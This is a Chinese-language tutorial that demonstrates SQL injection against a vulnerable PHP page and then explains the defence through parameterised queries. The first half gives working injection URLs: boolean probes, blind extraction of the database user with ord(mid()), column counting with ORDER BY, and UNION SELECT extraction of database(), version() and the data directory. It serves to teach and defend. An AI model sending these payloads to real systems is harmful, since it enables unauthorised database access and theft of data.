本文以真實脆弱代碼為例,演示 SQL 注入從探測到資料提取的完整過程,並深度解析防禦核心原理。僅供安全教學與防禦研究使用,嚴禁對未授權系統測試。
...
核心問題:$ts_id 直接拼接進 SQL,且未用引號包裹,攻擊者可控制完整 SQL 邏輯。
https://target/004.php?ts_id=1 and 1=1 -- 正常顯示
https://target/004.php?ts_id=1 and 1=2 -- 異常/空白頁面
回應差異確認注入點存在。
https://target/004.php?ts_id=1/*comment
若正常返回,說明支援 /* */ 註釋語法 → MySQL。
https://target/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
https://target/004.php?ts_id=1 and ord(mid(user(),2,1))=111/*
https://target/004.php?ts_id=1 and ord(mid(user(),3,1))=111/*
https://target/004.php?ts_id=1 and ord(mid(user(),4,1))=116/*
逐字元猜解 user() → root (ASCII: 114,111,111,116)。
https://target/004.php?ts_id=1 order by 10/* -- 失敗
https://target/004.php?ts_id=1 order by 7/* -- 成功
確定查詢有 7 個欄位。
https://target/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*
觀察頁面顯示哪個數字,對應該欄位可回顯資料,再替換為 database()、version()、@@datadir 等函數提取敏感資訊。
根本解決之道:將 SQL 邏輯與資料分離,資料永遠不會被解析為 SQL 指令。
setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$ts_id = $_GET['ts_id'];
$stmt = $pdo->prepare('SELECT * FROM books WHERE id = ?');
$stmt->execute([$ts_id]);
$book = $stmt->fetch(PDO::FETCH_ASSOC);
prepare('SELECT * FROM books WHERE id = ?');
$stmt->bind_param('i', $_GET['ts_id']); // 'i' = integer
$stmt->execute();
$result = $stmt->get_result();
$book = $result->fetch_assoc();
| 方法 | 缺陷 |
|---|---|
mysql_real_escape_string() | 需正確設定字元集、易忘記呼叫、無法防禦數值型注入 (無引號包裹) |
addslashes() | 不處理字元集、多位元組字元繞過 (GBK 編碼攻擊) |
| 黑名單過濾 (select/union/...) | 繞過技巧多樣 (大小寫、編碼、註釋、替代函數)、誤傷正常資料 |
magic_quotes_gpc | PHP 5.4 已移除、雙重轉義問題、無法防禦數值型注入 |
SELECT/INSERT/UPDATE/DELETE,無 DROP/ALTER/FILE 權限display_errors=Off、log_errors=On、自訂錯誤頁面⚠️ 法律與道德提醒:未經書面授權對任何系統進行 SQL 注入測試均屬違法。本文旨在協助開發者理解攻擊原理以建構更安全的應用程式。請將學習重點放在「參數化查詢」等防禦技術上。